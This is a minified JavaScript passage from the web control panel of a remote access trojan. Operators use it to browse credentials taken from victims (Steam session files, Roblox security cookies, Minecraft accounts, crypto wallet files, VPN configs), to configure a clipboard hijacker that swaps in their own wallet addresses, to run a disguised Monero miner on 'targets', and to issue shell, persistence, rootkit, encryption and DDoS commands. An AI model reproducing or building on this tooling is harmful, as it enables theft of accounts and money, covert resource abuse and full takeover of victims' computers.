gap-1.5",children:[i.steam.loginusers&&s.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&s.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(de=i.steam.ssfn_files)==null?void 0:de.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,G.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.name]},re))]})]}),((q=i.epic)==null?void 0:q.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),s.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((te=i.minecraft)==null?void 0:te.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,`${G.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.launcher]},re))})]}),((me=i.roblox)==null?void 0:me.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?s.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:G=>w(i.roblox.cookie,G),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?s.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((V=i.steam)!=null&&V.found)&&!((Z=i.epic)!=null&&Z.found)&&!((fe=i.minecraft)!=null&&fe.length)&&!((E=i.roblox)!=null&&E.found)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),s.jsx(On,{title:"Crypto Wallets",count:((oe=i.wallets)==null?void 0:oe.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?s.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((G,re)=>s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[s.jsx("span",{className:"text-amber-400",children:G.name}),s.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",G.files.length," file",G.files.length!==1?"s":"",")"]})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:G.files.map((ae,Oe)=>s.jsxs("button",{onClick:()=>j(ae.data,ae.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),ae.name]},Oe))})]},re))}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),s.jsx(On,{title:"VPN Configs",count:((pe=i.vpn)==null?void 0:pe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(be=i.vpn)!=null&&be.length?s.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((G,re)=>s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[s.jsx("span",{className:"text-emerald-400",children:G.name}),s.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",G.files.length," file",G.files.length!==1?"s":"",")"]})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:G.files.map((ae,Oe)=>s.jsxs("button",{onClick:()=>j(ae.data,ae.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),ae.name]},Oe))})]},re))}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ke=i.errors)==null?void 0:ke.length)??0)>0&&s.jsx(On,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((G,re)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[G.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:G.error})]},re))})})]}),v&&s.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r
pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function On({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r
hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const HU=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],KU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function N2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function qU({agentId:e,agentStatus:t}){const[n,r]=p.useState({...KU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=N2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=N2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await Ee(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Ee(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Ee(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg
${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors
disabled:opacity-30 disabled:cursor-not-allowed
${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r
text-zerin-text-dim hover:text-zerin-text\r
bg-zerin-panel hover:bg-zerin-panel-hover\r
border border-zerin-panel-border\r
px-3 py-2 transition-colors\r
disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:HU.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text
placeholder-zerin-text-muted
focus:outline-none focus:ring-1 transition-all
${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const S2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function YU({agentId:e,agentStatus:t}){const[n,r]=p.useState(S2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,_)=>{h({text:z,type:_}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const _=await Un(e),A=(_.tasks??[]).filter(O=>O.command==="miner_status").sort((O,P)=>new Date(P.created_at).getTime()-new Date(O.created_at).getTime());if(A.length>0){const O=A[0],P=(_.results??[]).find(I=>I.task_id===O.id);if(P!=null&&P.output)try{const I=JSON.parse(P.output);g(I)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Ee(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Ee(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await Ee(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await Ee(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const _=Math.floor(z/3600),A=Math.floor(z%3600/60),O=Math.floor(z%60);return _>0?`${_}h ${A}m ${O}s`:A>0?`${A}m ${O}s`:`${O}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(xa,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(xa,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(xa,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(xa,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(xa,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(xa,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono\r
focus:outline-none focus:border-zerin-accent/50\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:S2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function xa({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const z2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],GU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},bp=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function XU(){const{id:e}=qo(),t=ur(),[n,r]=xx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const L=n.get("tab");return L&&bp.includes(L)?L:"overview"}),[S,N]=p.useState(()=>{const L=n.get("tab"),de=new Set(["overview"]);return L&&bp.includes(L)&&de.add(L),de}),[z,_]=p.useState(null),[A,O]=p.useState(!0),[P,I]=p.useState(!1),[U,D]=p.useState(null),[M,F]=p.useState(new Set),[R,W]=p.useState(()=>n.get("auto")==="1"),[$,H]=p.useState(null),[X,se]=p.useState(-1),[ue,ge]=p.useState(!1),xe=p.useRef(null);p.useEffect(()=>{N(L=>{if(L.has(j))return L;const de=new Set(L);return de.add(j),de})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const L=n.get("tab");L&&bp.includes(L)&&L!==j&&k(L)},[n]);const Y=L=>{k(L),L==="overview"?n.delete("tab"):n.set("tab",L),r(n,{replace:!0})},ee=p.useCallback(async()=>{if(e)try{const L=await OE(e);a(L),h("");try{const de=await Un(e);l(de.tasks??[]),u(de.results??[])}catch{l([]),u([])}}catch(L){a(null);const de=L instanceof Error&&"status"in L?L.status:"network";h(L instanceof Error?`${L.message} (${de})`:String(L))}finally{f(!1)}},[e]);p.useEffect(()=>{ee();const L=setInterval(ee,5e3);return()=>clearInterval(L)},[ee]),p.useEffect(()=>{if(!e)return;let L=!0;const de=async()=>{try{const te=await YE(e);L&&H(te)}catch{L&&H(null)}};de();const q=setInterval(de,3e3);return()=>{L=!1,clearInterval(q)}},[e]),p.useEffect(()=>{if(!z)return;const L=de=>{de.key==="Escape"&&_(null)};return window.addEventListener("keydown",L),()=>window.removeEventListener("keydown",L)},[z]);const C=p.useMemo(()=>[...o].sort((L,de)=>new Date(L.created_at).getTime()-new Date(de.created_at).getTime()),[o]),K=5e3,ne=p.useMemo(()=>{var de;const L=[];for(const q of C){const te=(de=q.args)!=null&&de.length?" "+q.args.join(" 